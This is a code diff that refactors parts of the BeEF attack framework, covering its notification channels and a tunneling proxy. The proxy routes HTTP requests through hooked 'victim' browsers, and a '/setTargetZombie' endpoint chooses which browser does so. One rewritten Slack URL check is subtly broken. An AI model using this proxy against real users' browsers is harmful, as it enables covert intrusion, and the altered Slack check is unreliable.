raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id)
|
|
||||||
|
|
||||||
host = @nh.find(id)
|
host = @nh.find(id)
|
||||||
halt 404 if host.nil?
|
halt 404 if host.nil?
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result['success'] = @nh.delete(id)
|
result['success'] = @nh.delete(id)
|
||||||
result.to_json
|
result.to_json
|
||||||
rescue InvalidParamError => e
|
rescue InvalidParamError => e
|
||||||
print_error e.message
|
print_error e.message
|
||||||
halt 400
|
halt 400
|
||||||
rescue StandardError => e
|
rescue StandardError => e
|
||||||
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
print_error "Internal error while removing network host with id #{id} (#{e.message})"
|
||||||
halt 500
|
halt 500
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
# Returns a specific service given its id
|
# Returns a specific service given its id
|
||||||
get '/service/:id' do
|
get '/service/:id' do
|
||||||
begin
|
id = params[:id]
|
||||||
id = params[:id]
|
|
||||||
|
|
||||||
service = @ns.find(id)
|
service = @ns.find(id)
|
||||||
raise InvalidParamError, 'id' if service.nil?
|
raise InvalidParamError, 'id' if service.nil?
|
||||||
halt 404 if service.empty?
|
|
||||||
|
|
||||||
service.to_h.to_json
|
halt 404 if service.empty?
|
||||||
rescue InvalidParamError => e
|
|
||||||
print_error e.message
|
service.to_h.to_json
|
||||||
halt 400
|
rescue InvalidParamError => e
|
||||||
rescue StandardError => e
|
print_error e.message
|
||||||
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
|
halt 400
|
||||||
halt 500
|
rescue StandardError => e
|
||||||
end
|
print_error "Internal error while retrieving service with id #{id} (#{e.message})"
|
||||||
|
halt 500
|
||||||
end
|
end
|
||||||
|
|
||||||
# Raised when invalid JSON input is passed to an /api/network handler.
|
# Raised when invalid JSON input is passed to an /api/network handler.
|
||||||
|
|||||||
@@ -8,43 +8,37 @@
|
|||||||
require 'net/smtp'
|
require 'net/smtp'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
module Channels
|
module Channels
|
||||||
|
class Email
|
||||||
class Email
|
#
|
||||||
|
# Constructor
|
||||||
|
#
|
||||||
|
def initialize(to_address, message)
|
||||||
|
@config = BeEF::Core::Configuration.instance
|
||||||
|
@from_address = @config.get('beef.extension.notifications.email.from_address')
|
||||||
|
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
|
||||||
|
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
|
||||||
|
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
|
||||||
|
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
|
||||||
|
|
||||||
#
|
# configure the email client
|
||||||
# Constructor
|
msg = "Subject: BeEF Notification\n\n#{message}"
|
||||||
#
|
smtp = Net::SMTP.new @smtp_host, @smtp_port
|
||||||
def initialize(to_address, message)
|
# if @smtp_tls_enable?
|
||||||
@config = BeEF::Core::Configuration.instance
|
# smtp.enable_starttls
|
||||||
@from_address = @config.get('beef.extension.notifications.email.from_address')
|
# smtp.start('beefproject.com', @from_address, @password, :login) do
|
||||||
@smtp_host = @config.get('beef.extension.notifications.email.smtp_host')
|
# smtp.send_message(msg, @from_address, @to_address)
|
||||||
@smtp_port = @config.get('beef.extension.notifications.email.smtp_port')
|
# end
|
||||||
@smtp_tls_enable = @config.get('beef.extension.notifications.email.smtp_tls_enable')
|
# else
|
||||||
@password = @config.get('beef.extension.notifications.email.smtp_tls_password')
|
smtp.start do
|
||||||
|
smtp.send_message(msg, @from_address, to_address)
|
||||||
# configure the email client
|
end
|
||||||
msg = "Subject: BeEF Notification\n\n" + message
|
# end
|
||||||
smtp = Net::SMTP.new @smtp_host, @smtp_port
|
end
|
||||||
#if @smtp_tls_enable?
|
|
||||||
# smtp.enable_starttls
|
|
||||||
# smtp.start('beefproject.com', @from_address, @password, :login) do
|
|
||||||
# smtp.send_message(msg, @from_address, @to_address)
|
|
||||||
# end
|
|
||||||
#else
|
|
||||||
smtp.start do
|
|
||||||
smtp.send_message(msg, @from_address, to_address)
|
|
||||||
end
|
end
|
||||||
#end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|||||||
@@ -1,13 +1,11 @@
|
|||||||
require 'rushover'
|
require 'rushover'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
module Channels
|
module Channels
|
||||||
|
class Pushover
|
||||||
class Pushover
|
def initialize(message)
|
||||||
|
|
||||||
def initialize(message)
|
|
||||||
@config = BeEF::Core::Configuration.instance
|
@config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
# Configure the Pushover Client
|
# Configure the Pushover Client
|
||||||
@@ -15,12 +13,11 @@ module Channels
|
|||||||
|
|
||||||
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
|
res = client.notify(@config.get('beef.extension.notifications.pushover.user_key'), message)
|
||||||
print_error '[Notifications] Pushover notification failed' unless res.ok?
|
print_error '[Notifications] Pushover notification failed' unless res.ok?
|
||||||
rescue => e
|
rescue StandardError => e
|
||||||
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
|
print_error "[Notifications] Pushover notification initialization failed: '#{e.message}'"
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|||||||
@@ -6,36 +6,36 @@
|
|||||||
require 'slack-notifier'
|
require 'slack-notifier'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
module Channels
|
module Channels
|
||||||
|
class SlackWorkspace
|
||||||
|
def initialize(message)
|
||||||
|
@config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
class SlackWorkspace
|
# Configure the Slack Client
|
||||||
|
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
|
||||||
|
channel = @config.get('beef.extension.notifications.slack.channel')
|
||||||
|
username = @config.get('beef.extension.notifications.slack.username')
|
||||||
|
|
||||||
def initialize(message)
|
if webhook_url.include?('your_webhook_url') || !webhook_url.start_with?('https://hook\.slack.com/services/')
|
||||||
@config = BeEF::Core::Configuration.instance
|
print_error '[Notifications] Invalid Slack WebHook URL'
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
# Configure the Slack Client
|
notifier = Slack::Notifier.new(
|
||||||
webhook_url = @config.get('beef.extension.notifications.slack.webhook_url')
|
webhook_url,
|
||||||
channel = @config.get('beef.extension.notifications.slack.channel')
|
channel: channel,
|
||||||
username = @config.get('beef.extension.notifications.slack.username')
|
username: username,
|
||||||
|
http_options: { open_timeout: 10 }
|
||||||
|
)
|
||||||
|
|
||||||
if webhook_url =~ /your_webhook_url/ or webhook_url !~ %r{^https://hooks\.slack\.com\/services\/}
|
notifier.ping message
|
||||||
print_error '[Notifications] Invalid Slack WebHook URL'
|
rescue StandardError => e
|
||||||
return
|
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
notifier = Slack::Notifier.new webhook_url,
|
|
||||||
channel: channel,
|
|
||||||
username: username,
|
|
||||||
http_options: { open_timeout: 10 }
|
|
||||||
|
|
||||||
notifier.ping message
|
|
||||||
rescue => e
|
|
||||||
print_error "[Notifications] Slack notification initialization failed: #{e.message}"
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|||||||
@@ -8,36 +8,32 @@
|
|||||||
require 'twitter'
|
require 'twitter'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
module Channels
|
module Channels
|
||||||
|
class Tweet
|
||||||
class Tweet
|
#
|
||||||
|
# Constructor
|
||||||
|
#
|
||||||
|
def initialize(username, message)
|
||||||
|
@config = BeEF::Core::Configuration.instance
|
||||||
|
|
||||||
#
|
# configure the Twitter client
|
||||||
# Constructor
|
client = Twitter::REST::Client.new do |config|
|
||||||
#
|
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
||||||
def initialize(username, message)
|
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
||||||
@config = BeEF::Core::Configuration.instance
|
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
||||||
|
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
|
||||||
|
end
|
||||||
|
|
||||||
# configure the Twitter client
|
begin
|
||||||
client = Twitter::REST::Client.new do |config|
|
client.direct_message_create(username, message)
|
||||||
config.consumer_key = @config.get('beef.extension.notifications.twitter.consumer_key')
|
rescue StandardError
|
||||||
config.consumer_secret = @config.get('beef.extension.notifications.twitter.consumer_secret')
|
print_error 'Twitter send failed, verify tokens have Read/Write/DM acceess...'
|
||||||
config.oauth_token = @config.get('beef.extension.notifications.twitter.oauth_token')
|
end
|
||||||
config.oauth_token_secret = @config.get('beef.extension.notifications.twitter.oauth_token_secret')
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
|
||||||
client.direct_message_create(username, message)
|
|
||||||
rescue
|
|
||||||
print_error "Twitter send failed, verify tokens have Read/Write/DM acceess..."
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|||||||
@@ -4,17 +4,15 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
|
extend BeEF::API::Extension
|
||||||
extend BeEF::API::Extension
|
|
||||||
|
@short_name = 'notifications'
|
||||||
@short_name = 'notifications'
|
@full_name = 'Notifications'
|
||||||
@full_name = 'Notifications'
|
@description = 'Generates external notifications for events in BeEF'
|
||||||
@description = 'Generates external notifications for events in BeEF'
|
end
|
||||||
|
end
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/notifications/notifications'
|
require 'extensions/notifications/notifications'
|
||||||
|
|||||||
@@ -10,49 +10,38 @@ require 'extensions/notifications/channels/pushover'
|
|||||||
require 'extensions/notifications/channels/slack_workspace'
|
require 'extensions/notifications/channels/slack_workspace'
|
||||||
|
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Notifications
|
module Notifications
|
||||||
|
#
|
||||||
|
# Notifications class
|
||||||
|
#
|
||||||
|
class Notifications
|
||||||
|
def initialize(from, event, time_now, hb)
|
||||||
|
@config = BeEF::Core::Configuration.instance
|
||||||
|
return unless @config.get('beef.extension.notifications.enable')
|
||||||
|
|
||||||
#
|
@from = from
|
||||||
# Notifications class
|
@event = event
|
||||||
#
|
@time_now = time_now
|
||||||
class Notifications
|
@hb = hb
|
||||||
|
|
||||||
def initialize(from, event, time_now, hb)
|
message = "#{from} #{event} #{time_now} #{hb}"
|
||||||
@config = BeEF::Core::Configuration.instance
|
|
||||||
if @config.get('beef.extension.notifications.enable') == false
|
|
||||||
# notifications are not enabled
|
|
||||||
return nil
|
|
||||||
else
|
|
||||||
@from = from
|
|
||||||
@event = event
|
|
||||||
@time_now = time_now
|
|
||||||
@hb = hb
|
|
||||||
end
|
|
||||||
|
|
||||||
message = "#{from} #{event} #{time_now} #{hb}"
|
if @config.get('beef.extension.notifications.twitter.enable') == true
|
||||||
|
username = @config.get('beef.extension.notifications.twitter.target_username')
|
||||||
|
BeEF::Extension::Notifications::Channels::Tweet.new(username, message)
|
||||||
|
end
|
||||||
|
|
||||||
if @config.get('beef.extension.notifications.twitter.enable') == true
|
if @config.get('beef.extension.notifications.email.enable') == true
|
||||||
username = @config.get('beef.extension.notifications.twitter.target_username')
|
to_address = @config.get('beef.extension.notifications.email.to_address')
|
||||||
BeEF::Extension::Notifications::Channels::Tweet.new(username,message)
|
BeEF::Extension::Notifications::Channels::Email.new(to_address, message)
|
||||||
end
|
end
|
||||||
|
|
||||||
if @config.get('beef.extension.notifications.email.enable') == true
|
BeEF::Extension::Notifications::Channels::Pushover.new(message) if @config.get('beef.extension.notifications.pushover.enable') == true
|
||||||
to_address = @config.get('beef.extension.notifications.email.to_address')
|
|
||||||
BeEF::Extension::Notifications::Channels::Email.new(to_address,message)
|
|
||||||
end
|
|
||||||
|
|
||||||
if @config.get('beef.extension.notifications.pushover.enable') == true
|
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message) if @config.get('beef.extension.notifications.slack.enable') == true
|
||||||
BeEF::Extension::Notifications::Channels::Pushover.new(message)
|
end
|
||||||
end
|
|
||||||
|
|
||||||
if @config.get('beef.extension.notifications.slack.enable') == true
|
|
||||||
BeEF::Extension::Notifications::Channels::SlackWorkspace.new(message)
|
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -8,17 +8,16 @@ module BeEF
|
|||||||
module Proxy
|
module Proxy
|
||||||
module API
|
module API
|
||||||
module RegisterHttpHandler
|
module RegisterHttpHandler
|
||||||
|
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'pre_http_start')
|
||||||
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
BeEF::API::Registrar.instance.register(BeEF::Extension::Proxy::API::RegisterHttpHandler, BeEF::API::Server, 'mount_handler')
|
||||||
|
|
||||||
def self.pre_http_start(http_hook_server)
|
def self.pre_http_start(http_hook_server)
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
Thread.new{
|
Thread.new do
|
||||||
http_hook_server.semaphore.synchronize{
|
http_hook_server.semaphore.synchronize do
|
||||||
BeEF::Extension::Proxy::Proxy.new
|
BeEF::Extension::Proxy::Proxy.new
|
||||||
}
|
end
|
||||||
}
|
end
|
||||||
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
|
print_info "HTTP Proxy: http://#{config.get('beef.extension.proxy.address')}:#{config.get('beef.extension.proxy.port')}"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -4,21 +4,19 @@
|
|||||||
# See the file 'doc/COPYING' for copying permission
|
# See the file 'doc/COPYING' for copying permission
|
||||||
#
|
#
|
||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Proxy
|
module Proxy
|
||||||
|
extend BeEF::API::Extension
|
||||||
extend BeEF::API::Extension
|
|
||||||
|
|
||||||
@short_name = 'proxy'
|
|
||||||
@full_name = 'proxy'
|
|
||||||
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
|
|
||||||
|
|
||||||
end
|
@short_name = 'proxy'
|
||||||
end
|
@full_name = 'proxy'
|
||||||
|
@description = 'The tunneling proxy allows HTTP requests to the hooked domain to be tunneled through the victim browser'
|
||||||
|
end
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
require 'extensions/requester/models/http'
|
require 'extensions/requester/models/http'
|
||||||
#require 'extensions/proxy/models/http'
|
# require 'extensions/proxy/models/http'
|
||||||
require 'extensions/proxy/proxy'
|
require 'extensions/proxy/proxy'
|
||||||
require 'extensions/proxy/api'
|
require 'extensions/proxy/api'
|
||||||
require 'extensions/proxy/rest/proxy'
|
require 'extensions/proxy/rest/proxy'
|
||||||
|
|||||||
@@ -9,7 +9,6 @@ module BeEF
|
|||||||
module Extension
|
module Extension
|
||||||
module Proxy
|
module Proxy
|
||||||
class Proxy
|
class Proxy
|
||||||
|
|
||||||
HB = BeEF::Core::Models::HookedBrowser
|
HB = BeEF::Core::Models::HookedBrowser
|
||||||
H = BeEF::Core::Models::Http
|
H = BeEF::Core::Models::Http
|
||||||
@response = nil
|
@response = nil
|
||||||
@@ -22,14 +21,14 @@ module BeEF
|
|||||||
|
|
||||||
# setup proxy for SSL/TLS
|
# setup proxy for SSL/TLS
|
||||||
ssl_context = OpenSSL::SSL::SSLContext.new
|
ssl_context = OpenSSL::SSL::SSLContext.new
|
||||||
#ssl_context.ssl_version = :TLSv1_2
|
# ssl_context.ssl_version = :TLSv1_2
|
||||||
|
|
||||||
# load certificate
|
# load certificate
|
||||||
begin
|
begin
|
||||||
cert_file = @conf.get('beef.extension.proxy.cert')
|
cert_file = @conf.get('beef.extension.proxy.cert')
|
||||||
cert = File.read(cert_file)
|
cert = File.read(cert_file)
|
||||||
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
|
ssl_context.cert = OpenSSL::X509::Certificate.new(cert)
|
||||||
rescue
|
rescue StandardError
|
||||||
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
|
print_error "[Proxy] Could not load SSL certificate '#{cert_file}'"
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -38,7 +37,7 @@ module BeEF
|
|||||||
key_file = @conf.get('beef.extension.proxy.key')
|
key_file = @conf.get('beef.extension.proxy.key')
|
||||||
key = File.read(key_file)
|
key = File.read(key_file)
|
||||||
ssl_context.key = OpenSSL::PKey::RSA.new(key)
|
ssl_context.key = OpenSSL::PKey::RSA.new(key)
|
||||||
rescue
|
rescue StandardError
|
||||||
print_error "[Proxy] Could not load SSL key '#{key_file}'"
|
print_error "[Proxy] Could not load SSL key '#{key_file}'"
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -51,7 +50,7 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
def handle_request socket
|
def handle_request(socket)
|
||||||
request_line = socket.readline
|
request_line = socket.readline
|
||||||
|
|
||||||
# HTTP method # defaults to GET
|
# HTTP method # defaults to GET
|
||||||
@@ -59,17 +58,15 @@ module BeEF
|
|||||||
|
|
||||||
# Handle SSL requests
|
# Handle SSL requests
|
||||||
url_prefix = ''
|
url_prefix = ''
|
||||||
if method == "CONNECT" then
|
if method == 'CONNECT'
|
||||||
# request_line is something like:
|
# request_line is something like:
|
||||||
# CONNECT example.com:443 HTTP/1.1
|
# CONNECT example.com:443 HTTP/1.1
|
||||||
host_port = request_line.split(" ")[1]
|
host_port = request_line.split[1]
|
||||||
proto = 'https'
|
proto = 'https'
|
||||||
url_prefix = proto + '://' + host_port
|
url_prefix = "#{proto}://#{host_port}"
|
||||||
loop do
|
loop do
|
||||||
line = socket.readline
|
line = socket.readline
|
||||||
if line.strip.empty?
|
break if line.strip.empty?
|
||||||
break
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
|
socket.puts("HTTP/1.0 200 Connection established\r\n\r\n")
|
||||||
socket.accept
|
socket.accept
|
||||||
@@ -77,13 +74,13 @@ module BeEF
|
|||||||
request_line = socket.readline
|
request_line = socket.readline
|
||||||
end
|
end
|
||||||
|
|
||||||
method, path, version = request_line.split(" ")
|
method, _path, version = request_line.split
|
||||||
|
|
||||||
# HTTP scheme/protocol # defaults to http
|
# HTTP scheme/protocol # defaults to http
|
||||||
proto = 'http' unless proto.eql?('https')
|
proto = 'http' unless proto.eql?('https')
|
||||||
|
|
||||||
# HTTP version # defaults to 1.0
|
# HTTP version # defaults to 1.0
|
||||||
version = 'HTTP/1.0' if version !~ /\AHTTP\/\d\.\d\z/
|
version = 'HTTP/1.0' if version !~ %r{\AHTTP/\d\.\d\z}
|
||||||
|
|
||||||
# HTTP request path
|
# HTTP request path
|
||||||
path = request_line[/^\w+\s+(\S+)/, 1]
|
path = request_line[/^\w+\s+(\S+)/, 1]
|
||||||
@@ -94,27 +91,23 @@ module BeEF
|
|||||||
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
|
# We're overwriting the URI::Parser UNRESERVED regex to prevent BAD URI errors
|
||||||
# when sending attack vectors (see tolerant_parser)
|
# when sending attack vectors (see tolerant_parser)
|
||||||
# anti: somehow the config below was removed, have a look into this
|
# anti: somehow the config below was removed, have a look into this
|
||||||
tolerant_parser = URI::Parser.new(:UNRESERVED => BeEF::Core::Configuration.instance.get("beef.extension.requester.uri_unreserved_chars"))
|
tolerant_parser = URI::Parser.new(UNRESERVED: BeEF::Core::Configuration.instance.get('beef.extension.requester.uri_unreserved_chars'))
|
||||||
uri = tolerant_parser.parse(url.to_s)
|
uri = tolerant_parser.parse(url.to_s)
|
||||||
|
|
||||||
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
|
uri_path_and_qs = uri.query.nil? ? uri.path : "#{uri.path}?#{uri.query}"
|
||||||
|
|
||||||
# extensions/requester/api/hook.rb parses raw_request to find port and path
|
# extensions/requester/api/hook.rb parses raw_request to find port and path
|
||||||
raw_request = [method, uri_path_and_qs, version].join(' ') + "\r\n"
|
raw_request = "#{[method, uri_path_and_qs, version].join(' ')}\r\n"
|
||||||
content_length = 0
|
content_length = 0
|
||||||
|
|
||||||
loop do
|
loop do
|
||||||
line = socket.readline
|
line = socket.readline
|
||||||
|
|
||||||
if line =~ /^Content-Length:\s+(\d+)\s*$/
|
content_length = Regexp.last_match(1).to_i if line =~ /^Content-Length:\s+(\d+)\s*$/
|
||||||
content_length = $1.to_i
|
|
||||||
end
|
|
||||||
|
|
||||||
if line.strip.empty?
|
if line.strip.empty?
|
||||||
# read data still in the socket, exactly <content_length> bytes
|
# read data still in the socket, exactly <content_length> bytes
|
||||||
if content_length >= 0
|
raw_request += "\r\n#{socket.read(content_length)}" if content_length >= 0
|
||||||
raw_request += "\r\n" + socket.read(content_length)
|
|
||||||
end
|
|
||||||
break
|
break
|
||||||
else
|
else
|
||||||
raw_request += line
|
raw_request += line
|
||||||
@@ -124,24 +117,28 @@ module BeEF
|
|||||||
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
|
# Saves the new HTTP request to the db. It will be processed by the PreHookCallback of the requester component.
|
||||||
# IDs are created and incremented automatically by DataMapper.
|
# IDs are created and incremented automatically by DataMapper.
|
||||||
http = H.new(
|
http = H.new(
|
||||||
:request => raw_request,
|
request: raw_request,
|
||||||
:method => method,
|
method: method,
|
||||||
:proto => proto,
|
proto: proto,
|
||||||
:domain => uri.host,
|
domain: uri.host,
|
||||||
:port => uri.port,
|
port: uri.port,
|
||||||
:path => uri_path_and_qs,
|
path: uri_path_and_qs,
|
||||||
:request_date => Time.now,
|
request_date: Time.now,
|
||||||
:hooked_browser_id => self.get_tunneling_proxy,
|
hooked_browser_id: get_tunneling_proxy,
|
||||||
:allow_cross_domain => "true"
|
allow_cross_domain: 'true'
|
||||||
)
|
)
|
||||||
http.save
|
http.save
|
||||||
print_debug("[PROXY] --> Forwarding request ##{http.id}: domain[#{http.domain}:#{http.port}], method[#{http.method}], path[#{http.path}], cross domain[#{http.allow_cross_domain}]")
|
print_debug(
|
||||||
|
"[PROXY] --> Forwarding request ##{http.id}: " \
|
||||||
|
"domain[#{http.domain}:#{http.port}], " \
|
||||||
|
"method[#{http.method}], " \
|
||||||
|
"path[#{http.path}], " \
|
||||||
|
"cross domain[#{http.allow_cross_domain}]"
|
||||||
|
)
|
||||||
|
|
||||||
# Wait for the HTTP response to be stored in the db.
|
# Wait for the HTTP response to be stored in the db.
|
||||||
# TODO: re-implement this with EventMachine or with the Observer pattern.
|
# TODO: re-implement this with EventMachine or with the Observer pattern.
|
||||||
while H.find(http.id).has_ran != "complete"
|
sleep 0.5 while H.find(http.id).has_ran != 'complete'
|
||||||
sleep 0.5
|
|
||||||
end
|
|
||||||
@response = H.find(http.id)
|
@response = H.find(http.id)
|
||||||
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
|
print_debug "[PROXY] <-- Response for request ##{@response.id} to [#{@response.path}] on domain [#{@response.domain}:#{@response.port}] correctly processed"
|
||||||
|
|
||||||
@@ -155,35 +152,37 @@ module BeEF
|
|||||||
# Some of the original response headers need to be removed, like encoding and cache related: for example
|
# Some of the original response headers need to be removed, like encoding and cache related: for example
|
||||||
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
|
# about encoding, the original response headers says that the content-length is 1000 as the response is gzipped,
|
||||||
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
|
# but the final content-length forwarded back by the proxy is clearly bigger. Date header follows the same way.
|
||||||
response_headers = ""
|
response_headers = ''
|
||||||
if (response_status != -1 && response_status != 0)
|
if response_status != -1 && response_status != 0
|
||||||
ignore_headers = [
|
ignore_headers = %w[
|
||||||
"Content-Encoding",
|
Content-Encoding
|
||||||
"Keep-Alive",
|
Keep-Alive
|
||||||
"Cache-Control",
|
Cache-Control
|
||||||
"Vary",
|
Vary
|
||||||
"Pragma",
|
Pragma
|
||||||
"Connection",
|
Connection
|
||||||
"Expires",
|
Expires
|
||||||
"Accept-Ranges",
|
Accept-Ranges
|
||||||
"Transfer-Encoding",
|
Transfer-Encoding
|
||||||
"Date"]
|
Date
|
||||||
|
]
|
||||||
headers.each_line do |line|
|
headers.each_line do |line|
|
||||||
# stripping the Encoding, Cache and other headers
|
# stripping the Encoding, Cache and other headers
|
||||||
header_key = line.split(': ')[0]
|
header_key = line.split(': ')[0]
|
||||||
header_value = line.split(': ')[1]
|
header_value = line.split(': ')[1]
|
||||||
next if header_key.nil?
|
next if header_key.nil?
|
||||||
next if ignore_headers.any?{ |h| h.casecmp(header_key) == 0 }
|
next if ignore_headers.any? { |h| h.casecmp(header_key).zero? }
|
||||||
if header_value.nil?
|
|
||||||
#headers_hash[header_key] = ""
|
# ignore headers with no value (@todo: why?)
|
||||||
else
|
next if header_value.nil?
|
||||||
# update Content-Length with the valid one
|
|
||||||
if header_key == "Content-Length"
|
unless header_key == 'Content-Length'
|
||||||
response_headers += "Content-Length: #{response_body.size}\r\n"
|
response_headers += line
|
||||||
else
|
next
|
||||||
response_headers += line
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# update Content-Length with the valid one
|
||||||
|
response_headers += "Content-Length: #{response_body.size}\r\n"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -193,10 +192,8 @@ module BeEF
|
|||||||
end
|
end
|
||||||
|
|
||||||
def get_tunneling_proxy
|
def get_tunneling_proxy
|
||||||
proxy_browser = HB.where(:is_proxy => true).first
|
proxy_browser = HB.where(is_proxy: true).first
|
||||||
unless proxy_browser.nil?
|
return proxy_browser.session.to_s unless proxy_browser.nil?
|
||||||
return proxy_browser.session.to_s
|
|
||||||
end
|
|
||||||
|
|
||||||
hooked_browser = HB.first
|
hooked_browser = HB.first
|
||||||
unless hooked_browser.nil?
|
unless hooked_browser.nil?
|
||||||
@@ -211,4 +208,3 @@ module BeEF
|
|||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|||||||
@@ -6,10 +6,8 @@
|
|||||||
module BeEF
|
module BeEF
|
||||||
module Extension
|
module Extension
|
||||||
module Proxy
|
module Proxy
|
||||||
|
|
||||||
# This class handles the routing of RESTful API requests for the proxy
|
# This class handles the routing of RESTful API requests for the proxy
|
||||||
class ProxyRest < BeEF::Core::Router::Router
|
class ProxyRest < BeEF::Core::Router::Router
|
||||||
|
|
||||||
# Filters out bad requests before performing any routing
|
# Filters out bad requests before performing any routing
|
||||||
before do
|
before do
|
||||||
config = BeEF::Core::Configuration.instance
|
config = BeEF::Core::Configuration.instance
|
||||||
@@ -27,68 +25,58 @@ module BeEF
|
|||||||
|
|
||||||
# Use a specified hooked browser as proxy
|
# Use a specified hooked browser as proxy
|
||||||
post '/setTargetZombie' do
|
post '/setTargetZombie' do
|
||||||
begin
|
body = JSON.parse(request.body.read)
|
||||||
body = JSON.parse(request.body.read)
|
hb_id = body['hb_id']
|
||||||
hb_id = body['hb_id']
|
|
||||||
|
|
||||||
result = {}
|
result = {}
|
||||||
result['success'] = false
|
result['success'] = false
|
||||||
return result.to_json if hb_id.nil?
|
return result.to_json if hb_id.nil?
|
||||||
|
|
||||||
hooked_browser = @hb.where(:session => hb_id).first
|
hooked_browser = @hb.where(session: hb_id).first
|
||||||
previous_proxy_hb = @hb.where(:is_proxy => true).first
|
previous_proxy_hb = @hb.where(is_proxy: true).first
|
||||||
|
|
||||||
# if another HB is currently set as tunneling proxy, unset it
|
# if another HB is currently set as tunneling proxy, unset it
|
||||||
unless previous_proxy_hb.nil?
|
unless previous_proxy_hb.nil?
|
||||||
previous_proxy_hb.update(:is_proxy => false)
|
previous_proxy_hb.update(is_proxy: false)
|
||||||
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
|
print_debug("Unsetting previously HB [#{previous_proxy_hb.ip}] used as Tunneling Proxy")
|
||||||
end
|
|
||||||
|
|
||||||
# set the HB requested in /setTargetProxy as Tunneling Proxy
|
|
||||||
unless hooked_browser.nil?
|
|
